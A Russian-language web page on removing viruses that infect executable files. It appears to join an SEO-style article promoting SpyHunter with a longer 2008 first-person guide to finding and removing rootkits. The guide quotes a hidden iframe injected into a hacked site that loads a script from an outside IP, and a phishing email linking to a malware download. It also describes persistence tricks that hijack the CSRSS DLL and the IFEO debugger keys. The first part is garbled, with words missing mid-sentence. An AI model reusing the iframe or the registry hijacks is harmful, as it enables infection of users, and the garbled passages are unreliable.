Как убрать вирус влияющий на файл exe. Удаляем вирус создающий ярлыки на компьютере. Step1. Сканируете зараженный компьютер с SpyHunter, чтобы удалить.exe File Virus


Сегодня Интернет является достаточно небезопасным виртуальным пространством, откуда пользователь может подхватить какую-нибудь заразу в или исполняемого кода. Относительно недавно появилась новая разновидность угроз, интерпретируемая как «вирус_exe.exe». Попробуем разобраться в том, как такие угрозы воздействуют на систему, и как с ними бороться оптимальным способом.

EXE-файлы или блокирует их: последствия воздействия

Вирусы, воздействующие именно на исполняемые файлы, известны достаточно давно (еще со времен DOS, когда Windows-систем и в помине не было). На заре развития компьютерной техники «экзешные» файлы являлись самыми основными в системе. Неудивительно, что были сосредоточены именно на них. Кстати, это касается и некоторых мобильных девайсов, работающих под управлением ОС Windows.

Увы, сегодня ситуация, когда EXE-объекты, переименовывает их в двойное расширение или просто заменяет собой оригинальные файлы, выглядит чуть ли не катастрофичной.

Собственно, на системе это отображается так, что при запуске какого-то приложения Windows выдает сообщение о том, что такой объект не найден или к нему нет доступа. Тут ситуация проявляется в нескольких вариантах:


Как уже понятно, в любой ситуации система не распознает искомый объект. Частенько угрозы этого типа проникают в систему, когда производится, например, обновление браузера или пользовательской программы из сомнительного источника. Многие юзеры по неопытности отключают антивирусную защиту или даже расширения браузеров вроде AdBlock, которые способны блокировать всплывающие рекламные окна, выпадающие меню, автоматически загружаемые компоненты и т. д. Этого делать нельзя ни в коем случае.

Вирус создает файлы EXE: как это отражается на системе?

Когда угроза начинает воздействовать на зараженный компьютер путем создания новых исполняемых компонентов, тут тоже можно найти несколько вариантов. В большинстве случаев выделяют два основных:

  • создается объект с новым названием «вирус»_exe.exe, где «вирус» - это имя файла, или с оригинальным именем;
  • вирус дублирует «экзешные» файлы, встраивая в свои клоны вредоносные коды.

В первом случае найти и обезвредить такую угрозу оказывается намного проще (чуть позже это будет показано на примере вируса some-exe.exe). Во второй ситуации дело обстоит несколько сложнее, поскольку в большинстве случаев сама угроза маскируется под системный процесс (достаточно вспомнить проблемы с объектами вроде svchost.exe).

Все ли антивирусы годятся для лечения?

Что касается средств обнаружения таких угроз, лечения зараженных файлов или изоляции вирусов в карантине, тут не все так просто. А многие бесплатные антивирусные пакеты вообще не годятся.

Известно немало случаев, когда те же бесплатные пакеты AVG и Avira при обнаружении угроз типа «вирус_exe.exe», которые заражали исполняемые файлы (заметьте, не удаляли или подменяли их), при неудачной попытке лечения инфицированных объектов даже не помещали их в карантин, а, что называется, бессовестно удаляли. К чему это приводило? К полной переустановке всей системы.

Оптимальные средства поиска и удаления

Если уж задаваться вопросами эффективного и и лечения, тут стоит обратить внимание на портативные утилиты вроде Dr. Web CureIt! или KVRT «Лаборатории Касперского».

Однако, как показывает практика, для самого глубокого сканирования (вплоть до оперативной и системной памяти) самым мощным средством являются специальные программы наподобие Kaspersky Rescue Disk. Принцип их работы состоит в том, что изначально создается загрузочный USB или оптический носитель, с которого происходит запуск антивирусного сканера еще до загрузки Windows. При этом такие сканеры способны находить даже глубоко скрытые или тщательно замаскированные объекты, которые не распознаются штатными или портативными антивирусами.

К примеру, вирус Windows, EXE-файлы или папки (с добавлением в их название расширения.exe) определяются достаточно быстро, в то время как штатные сканеры созданные объекты могут пропускать. К тому же зачастую может изменяться и путь к системным файлам, в результате чего обращение происходит не к оригинальному файлу, а к его опасному клону даже на стадии загрузки.

Вирусы типа «_exe.exe»: ручное удаление на примере угрозы some_exe.exe

Теперь изучим разновидность угроз с общим названием «вирус_exe.exe» на конкретном примере.

Как уже говорилось, выявить его можно достаточно просто. Для начала останавливаем одноименный процесс в Диспетчере задач, а затем задаем поиск в Проводнике или любом другом файловом менеджере, а в качестве условия в строку вписываем либо полное имя, либо *exe.exe* (звездочки в строке ставить обязательно). В принципе, можно поступить и проще, поскольку сам файл «прописывается» в папке System32. Удаляем его оттуда. После этого удаляем аналогичную динамическую библиотеку some_dll.dll (если удаление невозможно, сначала оба объекта нужно просто переименовать).

Теперь заходим в редактор системного реестра (команда regedit в меню «Выполнить», вызываемом клавишами Win + R), где снова используем поиск (либо из главного меню, либо сочетанием Ctrl + F). Задаем в поиске полное название, а результаты полностью удаляем.

Если по каким-либо причинам последствия воздействия вируса все равно проявляются, находим файл HOSTS, расположенный в каталоге etc папки drivers, который в свою очередь находится в директории System32 основного тома (Windows) на системном диске, открываем его и удаляем все строки, находящиеся ниже значения «# ::1 localhost». Перегружаем систему, и все работает нормально. Как видим, при этом даже не нужен.

Заключение

Вот вкратце и все, что касается вирусов, воздействующих на исполняемые EXE-файлы. Методика их обнаружения и блокирования достаточно проста. Однако лучше всего использовать восстановительные «диски спасения», что не пропустить угрозу и не заниматься ее устранением вручную.

Что делать, если антивирус не справился со своей работой.

    Вы, наверно, неоднократно встречали информацию в СМИ о том, что появился новый страшный вирус, который может привести к новой страшной эпидемии и чуть ли не к концу Интернета. Или, что появилась новая технология вирусописания, основанная на использовании младших битов пикселей графических изображений, и тело вируса практически невозможно обнаружить. Или... много еще чего страшненького. Иногда вирусы наделяют чуть ли не разумом и самосознанием. Происходит это от того, что многие пользователи, запутавшись в сложной классификации и подробностях механизма функционирования вирусов, забывают, что в первую очередь, любой вирус - это компьютерная программа, т.е. набор процессорных команд (инструкций), оформленных определенным образом. Неважно, в каком виде существует этот набор (исполняемый файл, скрипт, часть загрузочного сектора или группы секторов вне файловой системы) - гораздо важнее, чтобы эта программа не смогла получить управление, т.е. начать выполняться. Записанный на ваш жесткий диск, но не запустившийся вирус, также безобиден, как и любой другой файл. Главная задача в борьбе с вирусами - не обнаружить тело вируса, а предотвратить возможность его запуска. Поэтому грамотные производители вирусов постоянно совершенствуют не только технологии занесения вредоносного программного обеспечения в систему, но и способы скрытного запуска и функционирования.

Как происходит заражение компьютера вредоносным программным обеспечением (вирусом)? Ответ очевиден - должна быть запущена какая-то программа. Идеально - с административными правами, желательно - без ведома пользователя и незаметно для него. Способы запуска постоянно совершенствуются и основаны, не только на прямом обмане, но и на особенностях или недостатках операционной системы или прикладного программного обеспечения. Например, использование возможности автозапуска для сменных носителей в среде операционных систем семейства Windows привело к распространению вирусов на флэш-дисках. Функции автозапуска обычно вызываются со сменного носителя или из общих сетевых папок. При автозапуске обрабатывается файл Autorun.inf . Этот файл определяет, какие команды выполняет система. Многие компании используют эту функцию для запуска инсталляторов своих программных продуктов, однако, ее же, стали использовать и производители вирусов. В результате, об автозапуске, как некотором удобстве при работе за компьютером, можно забыть. - большинство грамотных пользователей данную опцию отключили навсегда.

Для отключения функций автозапуска в Windows XP/2000 reg-файл для импорта в реестр.

Для Windows 7 и более поздних отключение автозапуска можно выполнить с использованием апплета "Автозапуск" панели управления. В этом случае отключение действует по отношению к текущему пользователю. Более надежным способом защиты от внедрения вирусов, переносимых на съемных устройствах, является блокировка автозапуска для всех пользователей с помощью групповых политик:

  • запустить редактор групповых политик gpedit.msc
  • перейти в "Конфигурация компьютера" - - "Конфигурация Windows" - "Административные шаблоны" - "Компоненты Windows" - "Политика автозапуска".
  • установить значение "Вкл." для компонента "Отключить автозапуск"

  •     Но основным "поставщиком" вирусов, несомненно, является Интернет и, как основное прикладное программное обеспечение - "Обозреватель Интернета" (браузер). Сайты становятся все сложнее и красивее, появляются новые мультимедийные возможности, растут социальные сети, постоянно увеличивается количество серверов и растет число их посетителей. Обозреватель Интернета постепенно превращается в сложный программный комплекс - интерпретатор данных, полученных извне. Другими словами, - в программный комплекс, выполняющий программы на основании неизвестного содержимого. Разработчики обозревателей (браузеров) постоянно работают над повышением безопасности своих продуктов, однако производители вирусов тоже не стоят на месте, и вероятность заражения системы вредоносным ПО остается довольно высокой. Существует мнение, что если не посещать "сайты для взрослых", сайты с серийными номерами программных продуктов и т.п. то можно избежать заражения. Это не совсем так. В Интернете немало взломанных сайтов, владельцы которых даже не подозревают о взломе. И давно прошли те времена, когда взломщики тешили свое самолюбие подменой страниц (дефейсом). Сейчас подобный взлом обычно сопровождается внедрением в страницы вполне добропорядочного сайта, специального кода для заражения компьютера посетителя. Кроме того, производители вирусов используют наиболее популярные поисковые запросы для отображения зараженных страниц в результатах выдачи поисковых систем. Особенно популярны запросы с фразами "скачать бесплатно" и " скачать без регистрации и SMS". Старайтесь не использовать эти слова в поисковых запросах, иначе, риск получения ссылки на вредоносные сайты значительно возрастает. Особенно, если вы ищете популярный фильм, еще не вышедший в прокат или последний концерт известнейшей группы.

        Механизм заражения компьютера посетителя сайта, в упрощенном виде, я попробую объяснить на примере. Не так давно, при посещении одного, довольно популярного сайта, я получил уведомление программы мониторинга автозапуска (PT Startup Monitor) о том, что приложение rsvc.exe пытается выполнить запись в реестр. Приложение было благополучно прибито FAR"ом, а изменения в реестре отменены PT Startup Monitor"ом. Анализ страниц сайта показал наличие странного кода на языке Javascript, выполняющего операции по преобразованию строковых данных, не являющихся осмысленным текстом. Язык Javascript поддерживается большинством современных браузеров и используется практически на всех веб-страницах. Сценарий, загружаемый с таких страниц, выполняется обозревателем Интернета. В результате многочисленных преобразований упомянутых выше строк получался довольно простой код:

    iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"

    Означающий выполнение CGI-сценария сервера с IP - адресом 91.142.64.91 (не имеющего никакого отношения к посещаемому сайту) в отдельном окне (тег iframe) размером 1 пиксель по ширине и 1 пиксель по высоте, в невидимом окне. Результат - вполне вероятное вирусное заражение. Особенно, если нет антивируса или он не среагирует на угрозу. Данный пример скрытого перенаправления посетителя на вредоносный сайт с использованием тега "iframe" сегодня, наверно, не очень актуален, но вполне демонстрирует как, посещая легальный сайт, можно незаметно для себя побывать и на другом, не очень легальном, даже не подозревая об этом. К сожалению, абсолютной гарантии от вирусного заражения нет и нужно быть готовым к тому, что с вирусом придется справляться собственными силами.

        В последнее время, одним из основных направлений развития вредоносных программ стало применение в них всевозможных способов защиты от обнаружения антивирусными средствами - так называемые руткит (rootkit) - технологии. Такие программы часто или не обнаруживаются антивирусами или не удаляются ими. В этой статье я попытаюсь описать более или менее универсальную методику обнаружения и удаления вредоносного программного обеспечения из зараженной системы.

        Удаление "качественного" вируса, становится все более нетривиальной задачей, поскольку такой вирус разработчики снабжают свойствами, максимально усложняющими ее решение. Нередко вирус может работать в режиме ядра (kernel mode) и имеет неограниченные возможности по перехвату и модификации системных функций. Другими словами - вирус имеет возможность скрыть от пользователя (и антивируса) свои файлы, ключи реестра, сетевые соединения, - все, что может быть признаком его наличия в зараженной системе. Он может обойти любой брандмауэр, системы обнаружения вторжения и анализаторы протоколов. И, кроме всего прочего, он может работать и в безопасном режиме загрузки Windows. Иными словами, современную вредоносную программу очень непросто обнаружить и обезвредить.

        Развитие антивирусов тоже не стоит на месте, - они постоянно совершенствуются, и в большинстве случаев, смогут обнаружить и обезвредить вредоносное ПО, но рано или поздно, найдется модификация вируса, которая какое-то время будет "не по зубам" любому антивирусу. Поэтому самостоятельное обнаружение и удаление вируса - это работа, которую рано или поздно придется выполнять любому пользователю компьютера.

    Здравствуйте.
    Нас заинтересовала ваша кандидатура, однако предлагаем вам заполнить
    наш фирменный бланк резюме и отправить его по адресу [email protected]
    Ответ не гарантируется, однако если Ваше резюме нас заинтересует, мы
    позвоним Вам в течение нескольких дней. Не забудьте
    указать телефон, а также позицию, на которую Вы претендуете. Желательно
    также указать пожелания по окладу.
    Наш фирменный бланк вы можете скачать по нижеуказанной ссылке.
    http://verano-konwektor.pl/resume.exe

        Анализ заголовков письма показал, что оно было отправлено с компьютера в Бразилии через сервер, находящийся в США. А фирменный бланк предлагается скачать с сервера в Польше. И это с русскоязычным-то содержанием.

        Ясное дело, что никакого фирменного бланка вы не увидите, и скорее всего, получите троянскую программу на свой компьютер.
        Скачиваю файл resume.exe. Размер - 159744 байта. Пока не запускаю.
        Копирую файл на другие компьютеры, где установлены различные антивирусы - просто для очередной проверки их эффективности. Результаты не ахти - антивирус Avast 4.8 Home Edition деликатно промолчал. Подсунул его Symantec"у - та же реакция. Сработал только AVG 7.5 Free Edition. Похоже, этот антивирус, в самом деле, не зря набирает популярность.
        Все эксперименты выполняю на виртуальной машине с операционной системой Windows XP. Учетная запись с правами администратора, поскольку, чаще всего вирусы успешно внедряются в систему только, если пользователь является локальным администратором.
        Запускаю. Через какое-то время зараженный файл исчез, похоже, вирус начал свое черное дело.
        Поведение системы внешне не изменилось. Очевидно, нужна перезагрузка. На всякий случай, запрещаю в брандмауэре соединения по протоколу TCP. Оставляю разрешенными только исходящие соединения по UDP:53 (DNS) - надо же оставить вирусу хоть какую-то возможность проявить свою активность. Как правило, после внедрения, вирус должен связаться с хозяином или с заданным сервером в интернете, признаком чего будут DNS-запросы. Хотя, опять же, в свете сказанного выше, умный вирус может их замаскировать, кроме того, он может и обойти брандмауэр. Забегая вперед, скажу, что в данном конкретном случае этого не произошло, но для надежного анализа сетевой активности весь трафик зараженной машины лучше пустить через другую, незараженную, где можно быть уверенным, что правила брандмауэра выполняются, а анализатор трафика (я пользовался Wireshark"ом) выдает то, что есть на самом деле.
        Перезагружаюсь. Внешне ничего не изменилось, кроме того, что невозможно выйти в интернет, поскольку я сам отключил такую возможность. Ни в путях автозапуска, ни в службах, ни в системных каталогах не появилось ничего нового. Просмотр системного журнала дает только одну наводку - системе не удалось запустить таинственную службу grande48 . Такой службы у меня быть не могло, да и по времени это событие совпало с моментом внедрения. Что еще наводит на мысль об успешном внедрении - так это отсутствие в реестре записи о службе grande48 и отсутствие второго сообщения в журнале системы об ошибке запуска службы после перезагрузки. Это, скорее всего, некоторая недоработка вирусописателей. Хотя и несущественная, ведь большинство пользователей журнал событий не просматривают, да и на момент возникновения подозрения на заражение эта запись в журнале уже может и отсутствовать.

    Определяем наличие вируса в системе.

    1.     Наверняка должен быть "левый" трафик. Определить можно с помощью анализаторов протокола. Я использовал Wireshark. Сразу после загрузки первым запускаю его. Все правильно, есть наличие группы DNS-запросов (как потом оказалось - один раз за 5 минут) на определение IP-адресов узлов ysiqiyp.com, irgfqfyu.com, updpqpqr.com и т.п. Вообще-то все ОС Windows любят выходить в сеть, когда надо и не надо, антивирусы могут обновлять свои базы, поэтому определить принадлежность трафика именно вирусу довольно затруднительно. Обычно требуется пропустить трафик через незараженную машину и серьезно проанализировать его содержимое. Но это отдельная тема. В принципе, косвенным признаком ненормальности сетевой активности системы могут быть значительные значения счетчиков трафика провайдера, в условиях простоя системы, счетчики из свойств VPN-соединения и т.п.

    2.     Попробуем использовать программы для поиска руткитов. Сейчас таких программ уже немало и их несложно найти в сети. Одна из наиболее популярных - Марка Руссиновича, которую можно скачать на странице раздела Windows Sysinternals сайта Microsoft. Инсталляция не требуется. Разархивируем и запускаем. Жмем "Scan". После непродолжительного сканирования видим результаты:

        Кстати, даже не вникая в содержания строк, можно сразу заметить, что имеются очень "свежие" по времени создания/модификации записи или файлы (колонка "Timestamp") . Нас в первую очередь должны заинтересовать файлы с описанием (колонка "Description" ) - "Hidden from Windows API" - скрыто от API-интерфейса Windows. Скрытие файлов, записей в реестре, приложений - это, естественно, ненормально. Два файла - grande48.sys и Yoy46.sys - это как раз то, что мы ищем. Это и есть прописавшийся под видом драйверов искомый руткит или его часть, обеспечивающая скрытность. Наличие в списке остальных было для меня сюрпризом. Проверка показала - это нормальные драйверы Windows XP. Кроме того, вирус скрывал их наличие только в папке \system32 , а их копии в \system32\dllcache остались видимыми.
        Напомню, что в Windows XP применяется специальный механизм защиты системных файлов, называемый Windows File Protection (WFP) . Задача WFP - автоматическое восстановление важных системных файлов при их удалении или замене устаревшими или неподписанными копиями. Все системные файлы Windows XP имеют цифровую подпись и перечислены в специальной базе данных, используемой WFP. Для хранения копий файлов используется папка \system32\dllcache и, отчасти, \Windows\driver cache . При удалении или замене одного из системных файлов, WFP автоматически копирует "правильную" его копию из папки \dllcache. Если указанный файл отсутствует в папке \dllcache , то Windows XP просит вставить в привод компакт-дисков установочный компакт-диск Windows XP. Попробуйте удалить vga.sys из \system32, и система тут же его восстановит, используя копию из dllcache. А ситуация, когда, при работающей системе восстановления файлов, файл драйвера есть в \dllcache и его не видно в \system32 - это тоже дополнительный признак наличия руткита в системе.

    Удаляем вирус из системы.

        Осталось выполнить самое важное действие - удалить вирус. Самый простой и надежный способ - загрузиться в другой, незараженной операционной системе и запретить старт драйверов руткита.

    Воспользуемся стандартной консолью восстановления Windows. Берем установочный диск Windows XP и загружаемся с него. На первом экране выбираем 2-й пункт меню - жмем R.

    Выбираем систему (если их несколько):

    Вводим пароль администратора.
    Список драйверов и служб можно просмотреть с помощью команды listsvc:

    В самом деле, в списке присутствует Yoy46 , правда отсутствует grande48, что говорит о том, что файл драйвера grande48.sys скрытно присутствует в системе, но не загружается:

    Консоль восстановления позволяет запрещать или разрешать запуск драйверов и служб с помощью команд disable и enable . Запрещаем старт Yoy46 командой:

        Водим команду EXIT и система уходит на перезагрузку.
    После перезагрузки драйвер руткита не будет загружен, что позволит легко удалить его файлы и очистить реестр от его записей. Можно проделать это вручную, а можно использовать какой-нибудь антивирус. Наиболее эффективным, с моей точки зрения, будет бесплатный сканер на основе всем известного антивируса Dr.Web Игоря Данилова. Скачать можно отсюда - http://freedrweb.ru
        Там же можно скачать "Dr.Web LiveCD" - образ диска, который позволяет восстановить работоспособность системы, пораженной действиями вирусов, на рабочих станциях и серверах под управлением Windows\Unix, скопировать важную информацию на сменные носители либо другой компьютер, если действия вредоносных программ сделали невозможным загрузку компьютера. Dr.Web LiveCD поможет не только очистить компьютер от инфицированных и подозрительных файлов, но и попытается вылечить зараженные объекты. Для удаления вируса нужно скачать с сайта DrWeb образ (файл с расширением.iso) и записать его на CD. Будет создан загрузочный диск, загрузившись с которого, руководствуетесь простым и понятным меню.

        Если по каким-либо причинам, нет возможности воспользоваться Dr.Web LiveCD, можно попробовать антивирусный сканер Dr.Web CureIt!, который можно запустить, загрузившись в другой ОС, например, с использованием Winternals ERD Commander. Для сканирования зараженной системы необходимо указать именно ее жесткий диск (Режим "Выборочная проверка"). Сканер поможет вам найти файлы вируса, и вам останется лишь удалить связанные с ним записи из реестра.
        Поскольку вирусы научились прописываться на запуск в безопасном режиме загрузки, не мешает проверить ветку реестра:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\SafeBoot
    Разделы:
    Minimal - список драйверов и служб запускаемых в безопасном режиме (Safe Mode)
    Network - то же, но с поддержкой сети.

    Добавлю, что существует новый класс rootkit, представителем которого является BackDoor.MaosBoot , появившийся в конце 2007г. Эта троянская программа прописывает себя в загрузочный сектор жесткого диска и обеспечивает скрытую установку своего драйвера в памяти. Сам Rootkit-драйвер напрямую записан в последние секторы физического диска, минуя файловую систему, чем и скрывает свое присутствие на диске. В общем-то, принцип не новый, лет десять назад вредоносные программы подобным образом маскировались на резервных дорожках дискет и жестких дисков, однако оказался очень эффективным, поскольку большинство антивирусов с задачей удаления BackDoor.MaosBoot до сих пор не справляются. Упоминаемый выше загрузочный сектор не проверяет, а секторы в конце диска для него никак не связаны с файловой системой и, естественно, такой руткит он не обнаружит. Правда, Dr.Web (а, следовательно, и Cureit) с BackDoor.MaosBoot вполне справляется.

        Если у вас возникли сомнения относительно какого-либо файла, то можно воспользоваться бесплатной онлайновой антивирусной службой virustotal.com . Через специальную форму на главной странице сайта закачиваете подозрительный файл и ждете результатов. Сервисом virustotal используются консольные версии множества антивирусов для проверки вашего подозреваемого файла. Результаты выводятся на экран. Если файл является вредоносным, то с большой долей вероятности, вы сможете это определить. В какой-то степени сервис можно использовать для выбора "лучшего антивируса".
    ссылка на одну из веток форума сайта virusinfo.info, где пользователи выкладывают ссылки на различные ресурсы посвященные антивирусной защите, в т.ч. и онлайн - проверок компьютера, браузера, файлов...

        Иногда, в результате некорректных действий вируса (или антивируса) система вообще перестает загружаться. Приведу характерный пример. Вредоносные программы пытаются внедриться в систему, используя различные, в том числе, довольно необычные способы. В процессе начальной загрузки, еще до регистрации пользователя, запускается "Диспетчер сеансов" (\SystemRoot\System32\smss.exe) , задача которого - запустить высокоуровневые подсистемы и сервисы (службы) операционной системы. На этом этапе запускаются процессы CSRSS (Client Server Runtime Process), WINLOGON (Windows Logon), LSASS (LSA shell), и оставшиеся службы с параметром Start=2 из раздела реестра

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services

        Информация, предназначенная для диспетчера сеансов, находится в ключе реестра

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager

    Одним из способов внедрения в систему, является подмена dll-файла для CSRSS. Если вы посмотрите содержимое записи

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\SubSystems

    То найдете значения

    ServerDll=basesrv , ServerDll=winsrv . Библиотеки basesrv.dll и winsrv.dll - это "правильные" файлы системы, загружаемые службой CSRSS на обычной (незараженной) системе. Эту запись в реестре можно подправить на запись, обеспечивающую загрузку, например, вместо basesrv.dll, вредоносной basepvllk32.dll:

    ServerDll=basepvllk32 (или какую либо другую dll, отличную от basesrv и winsrv)

    Что обеспечит, при следующей перезагрузке, получение управления вредоносной программе. Если же ваш антивирус обнаружит и удалит внедренную basepvllk32, оставив нетронутой запись в реестре, то загрузка системы завершится "синим экраном смерти" (BSOD) с ошибкой STOP c000135 и сообщением о невозможности загрузить basepvllk32.

    Поправить ситуацию можно так:

    Загрузится в консоль восстановления (или в любой другой системе), и скопировать файл basesrv.dll из папки C:\WINDOWS\system32 в ту же папку под именем basepvllk32.dll. После чего система загрузится и можно будет вручную подправить запись в реестре.
    - загрузиться с использованием Winternals ERD Commander и исправить запись в реестре на ServerDll=basesrv . Или выполнить откат системы с использованием точки восстановления.

        Еще один характерный пример. Вредоносная программ регистрируется как отладчик процесса explorer.exe, создавая в реестре запись типа:

    "Debugger"="C:\Program Files\Microsoft Common\wuauclt.exe"
    Удаление wuauclt.exe антивирусом без удаления записи в реестре приводит к невозможности запуска explorer.exe. В результате вы получаете пустой рабочий стол, без каких-либо кнопок и ярлыков. Выйти из положения можно используя комбинацию клавиш CTRL-ALT-DEL. Выбираете "Диспетчер задач" - "Новая задача" - "Обзор" - находите и запускаете редактор реестра regedit.exe. Затем удаляете ключ
    HKM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe
    и перезагружаетесь.

        В случае, когда вы точно знаете время заражения системы, откат на точку восстановления до этого события, является довольно надежным способом избавления от заразы. Иногда есть смысл выполнять не полный откат, а частичный, с восстановлением файла реестра SYSTEM, как это описано в статье "Проблемы с загрузкой ОС" раздела "Windows"

        == Май 2008. ==

    Дополнение

        Это дополнение возникло через год после написания основной статьи. Здесь я решил разместить наиболее интересные решения, возникшие в процессе борьбы с вредоносным программным обеспечением. Что-то вроде коротких заметок.

    После удаления вируса ни один антивирус не работает.

        Случай интересен тем, что способ блокировки антивирусного программного обеспечения можно использовать и в борьбе с исполняемыми файлами вирусов. Началось все с того, что после удаления довольно примитивного вируса не заработал лицензионный "Стрим Антивирус". Переустановки с чисткой реестра не помогли. Попытка установки Avira Antivir Personal Free закончилась успешно, но сам антивирус не запустился. В системном журнале было сообщение о таймауте при запуске службы "Avira Antivir Guard". Перезапуск вручную заканчивался той же ошибкой. Причем, никаких лишних процессов в системе не выполнялось. Была стопроцентная уверенность - вирусов, руткитов и прочей гадости (Malware) в системе нет.
        В какой-то момент попробовал запустить антивирусную утилиту AVZ . Принцип работы AVZ во многом основан на поиске в изучаемой системе разнообразных аномалий. С одной стороны, это помогает в поиске Malware, но с другой вполне закономерны подозрения к компонентам антивирусов, антишпионов и прочего легитимного ПО, активно взаимодействующего с системой. Для подавления реагирования AVZ на легитимные объекты и упрощения анализа результатов проверки системы за счет отметки легитимных объектов цветом и их фильтрации из логов, применяется база безопасных файлов AVZ. С недавнего времени запущен полностью автоматический сервис, позволяющий всем желающим прислать файлы для пополнения этой базы.
    Но: исполняемый файл avz.exe не запустился! Переименовываю avz.exe в musor.exe - все прекрасно запускается. В очередной раз AVZ оказался незаменимым помощником в решении проблемы. При выполнении проверок в результатах появилась строки:

    Опасно - отладчик процесса "avz.exe"="ntsd-d"
    Опасно - отладчик процесса "avguard.exe"="ntsd-d"
    :.

    Это была уже серьезная зацепка. Поиск в реестре по контексту "avz" привел к обнаружению в ветке

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

    Раздела с именем avz.exe , содержащем строковый параметр с именем "Debugger" и значением .
    И, как выяснилось позже, в указанной ветке присутствовал не только раздел "avz.exe", но и разделы с именами исполняемых модулей практически всех известных антивирусов и некоторых утилит мониторинга системы. Сам ntsd.exe - вполне легальный отладчик Windows, стандартно присутствующий во всех версиях ОС, но подобная запись в реестре приводит к невозможности запуска приложения, имя исполняемого файла которого совпадает с именем раздела???.exe.

        После удаления из реестра всех разделов, c именем???.exe и содержащих запись "Debugger" = "ntsd -d" работоспособность системы полностью восстановилась.

    В результате анализа ситуации с использованием параметра "ntsd -d" для блокировки запуска исполняемых файлов, появилась мысль использовать этот же прием для борьбы с самими вирусами. Конечно, это не панацея, но в какой-то степени может снизить угрозу заражения компьютера вирусами с известными именами исполняемых файлов. Для того, чтобы в системе невозможно было выполнить файлы с именами ntos.exe, file.exe, system32.exe и т.п. можно создать reg-файл для импорта в реестр:

    Windows Registry Editor Version 5.00

    "Debugger"="ntsd -d"
    "Debugger"="ntsd -d"
    "Debugger"="ntsd -d"
    :.. и т.д.

    Обратите внимание, на то, что имя раздела не содержат пути файла, поэтому данный способ нельзя применять для файлов вирусов, имена которых совпадают с именами легальных исполняемых файлов, но сами файлы нестандартно размещены в файловой системе. Например, проводник Explorer.exe находится в папке \WINDOWS\, а вирус располагается где-то в другом месте - в корне диска, в папке \temp, \windows\system32\ Если вы создадите раздел с именем "Explorer.exe" - то после входа в систему вы получите пустой рабочий стол, поскольку проводник не запустится. Хуже того, если вы создадите раздел, имя которого совпадает с именем системной службы (winlogon.exe, csrss.exe, smss.exe, services.exe, lsass.exe), то получите рухнувшую систему. Если вирус находится в C:\temp\winlogon.exe, а легальный модуль входа в систему C:\WINDOWS\SYSTEM32\winlogon.exe, создание раздела с именем winlogon.exe приведет к невозможности запуска службы winlogon и краху системы с синим экраном смерти (BSOD).

        Но, все же, надеяться на то, что запрашиваемый вирусом код, подойдет в каждом конкретном случае, не стоит. Как не стоит надеяться на честное самоуничтожение вируса, и тем более, не стоит отправлять СМС. Любой вирус можно удалить, даже если он не обнаруживается антивирусами. Методики удаления вируса-вымогателя ничем не отличаются от методик удаления любого другого вредоносного ПО, с одним, пожалуй, отличием - не стоит тратить время на попытки справиться с дрянью в среде зараженной системы, разве что для развития собственных навыков и пополнения знаний.

    Наиболее простой и эффективный путь - загрузиться с использованием другой, незараженной системы и, подключившись к зараженной, удалить файлы вируса и исправить внесенные им записи в реестре. Об этом я уже писал выше, в основной части статьи, а здесь попытаюсь просто изложить несколько кратких вариантов удаления вируса.

  • Использование Dr.Web LiveCD - самый простой и не требующий специальных знаний способ. Скачиваете iso-образ CD, записываете его на болванку, загружаетесь с CD-ROM и запускаете сканер.
  • Использование Winternals ERD Commander. Загружаетесь с него, подключившись к зараженной системе, и выполняете откат на контрольную точку восстановления с датой, когда заражения еще не было. Выбираете меню System Tools - System Restore . Если откат средствами ERD Commander"а выполнить невозможно, попробуйте вручную найти файлы реестра в данных контрольных точек и восстановить их в каталог Windows. Как это сделать я подробно описал в статье "Работа с реестром".
  • Загрузка в другой ОС и ручное удаление вируса. Самый сложный, но самый эффективный способ. В качестве другой ОС удобнее всего использовать тот же ERD Commander. Методика обнаружения и удаления вируса может быть следующей:

    Переходите на диск зараженной системы и просматриваете системные каталоги на наличие исполняемых файлов и файлов драйверов с датой создания близкой к дате заражения. Перемещаете эти файлы в отдельную папку. Обратите внимание на каталоги

    \Windows
    \Windows\system32
    \Windows\system32\drivers
    \Windows\Tasks\
    \RECYCLER
    \System Volume Information
    Каталоги пользователей \Documents And Settings\All Users и \Documents And Settings\имя пользователя

    Очень удобно использовать для поиска таких файлов FAR Manager, с включенной сортировкой по дате для панели, где отображается содержимое каталога (комбинация CTRL-F5). Особое внимание стоит обратить на скрытые исполняемые файлы. Существует также эффективная и простая утилита от Nirsoft - SearchMyFiles, применение которой позволяет, в подавляющем большинстве случаев, легко обнаружить вредоносные файлы даже без использования антивируса. Способ обнаружения вредоносных файлов по времени создания (Creation time)

    Подключаетесь к реестру зараженной системы и ищете в нем ссылки на имена этих файлов. Сам реестр не мешает предварительно скопировать (полностью или, по крайней мере, те части, где встречаются выше указанные ссылки). Сами ссылки удаляете или изменяете в них имена файлов на другие, например - file.exe на file.ex_, server.dll на server.dl_, driver.sys на driver.sy_.

    Данный способ не требует особых знаний и в случаях, когда вирус не меняет дату модификации своих файлов (а это пока встречается очень редко) - дает положительный эффект. Даже если вирус не обнаруживается антивирусами.

    Если предыдущие методики не дали результата, остается одно - ручной поиск возможных вариантов запуска вируса. В меню Administrative Tools ERD Commander"а имеются пункты:

    Autoruns - информация о параметрах запуска приложений и оболочке пользователя.
    Service and Driver Manager - информация о службах и драйверах системы.

  • - В качестве продолжения темы - как избавиться от вирусов с помощью стандартных средств операционной системы Windows Vista \ Windows 7. Использование безопасного режима с поддержкой командной строки.
  • Использование загрузочного диска Winternals ERD Commander - Подробная инструкция по применению диска аварийного восстановления системы, созданного на базе Microsoft Diagnostic and Recovery Toolset (MS DaRT) .
  • Сайт Олега Зайцева, автора AVZ. - Посвящен информационной безопасности, и в частности - применению одной из наиболее эффективных антивирусных утилит AVZ.
